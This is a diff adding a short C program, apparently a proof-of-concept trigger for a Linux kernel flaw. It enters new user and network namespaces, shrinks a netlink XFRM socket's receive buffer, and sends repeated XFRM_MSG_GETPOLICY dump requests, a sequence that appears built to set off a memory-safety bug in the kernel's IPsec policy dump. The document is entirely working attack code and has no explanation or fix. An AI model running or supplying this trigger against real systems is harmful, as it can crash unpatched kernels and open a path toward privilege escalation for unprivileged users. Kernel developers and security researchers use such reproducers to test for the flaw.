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| 1 | +#include <string.h> |
| 2 | +#include <stdio.h> |
| 3 | +#include <stdlib.h> |
| 4 | +#include <asm/types.h> |
| 5 | +#include <sys/socket.h> |
| 6 | +#include <netinet/in.h> |
| 7 | +#include <arpa/inet.h> |
| 8 | +#include <linux/netlink.h> |
| 9 | +#include <linux/xfrm.h> |
| 10 | +#include <sched.h> |
| 11 | +#include <unistd.h> |
| 12 | + |
| 13 | +#define BUFSIZE 2048 |
| 14 | + |
| 15 | + |
| 16 | +int fd; |
| 17 | +struct sockaddr_nl addr; |
| 18 | + |
| 19 | +struct msg_policy { |
| 20 | + struct nlmsghdr msg; |
| 21 | + char buf[BUFSIZE]; |
| 22 | +}; |
| 23 | + |
| 24 | +void create_nl_socket(void) |
| 25 | +{ |
| 26 | + fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM); |
| 27 | + memset(&addr,0,sizeof(struct sockaddr_nl)); |
| 28 | + addr.nl_family = AF_NETLINK; |
| 29 | + addr.nl_pid = 0; /* packet goes into the kernel */ |
| 30 | + addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ |
| 31 | + |
| 32 | +} |
| 33 | + |
| 34 | +void do_setsockopt(void) |
| 35 | +{ |
| 36 | + int var =0x100; |
| 37 | + |
| 38 | + setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int)); |
| 39 | +} |
| 40 | + |
| 41 | +struct msg_policy *init_policy_dump(int size) |
| 42 | +{ |
| 43 | + struct msg_policy *r; |
| 44 | + |
| 45 | + r = malloc(sizeof(struct msg_policy)); |
| 46 | + if(r == NULL) { |
| 47 | + perror("malloc"); |
| 48 | + exit(-1); |
| 49 | + } |
| 50 | + memset(r,0,sizeof(struct msg_policy)); |
| 51 | + |
| 52 | + r->msg.nlmsg_len = 0x10; |
| 53 | + r->msg.nlmsg_type = XFRM_MSG_GETPOLICY; |
| 54 | + r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; |
| 55 | + r->msg.nlmsg_seq = 0x1; |
| 56 | + r->msg.nlmsg_pid = 2; |
| 57 | + return r; |
| 58 | + |
| 59 | +} |
| 60 | +int send_msg(int fd,struct nlmsghdr *msg) |
| 61 | +{ |
| 62 | + int err; |
| 63 | + err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl)); |
| 64 | + if (err < 0) { |
| 65 | + perror("sendto"); |
| 66 | + return -1; |
| 67 | + } |
| 68 | + return 0; |
| 69 | + |
| 70 | +} |
| 71 | + |
| 72 | +void create_ns(void) |
| 73 | +{ |
| 74 | + if(unshare(CLONE_NEWUSER) != 0) { |
| 75 | + perror("unshare(CLONE_NEWUSER)"); |
| 76 | + exit(1); |
| 77 | + } |
| 78 | + if(unshare(CLONE_NEWNET) != 0) { |
| 79 | + perror("unshared(CLONE_NEWUSER)"); |
| 80 | + exit(2); |
| 81 | + } |
| 82 | +} |
| 83 | +int main(int argc,char **argv) |
| 84 | +{ |
| 85 | + struct msg_policy *p; |
| 86 | + create_ns(); |
| 87 | + |
| 88 | + create_nl_socket(); |
| 89 | + p = init_policy_dump(100); |
| 90 | + do_setsockopt(); |
| 91 | + send_msg(fd,&p->msg); |
| 92 | + p = init_policy_dump(1000); |
| 93 | + send_msg(fd,&p->msg); |
| 94 | + return 0; |
| 95 | +} |
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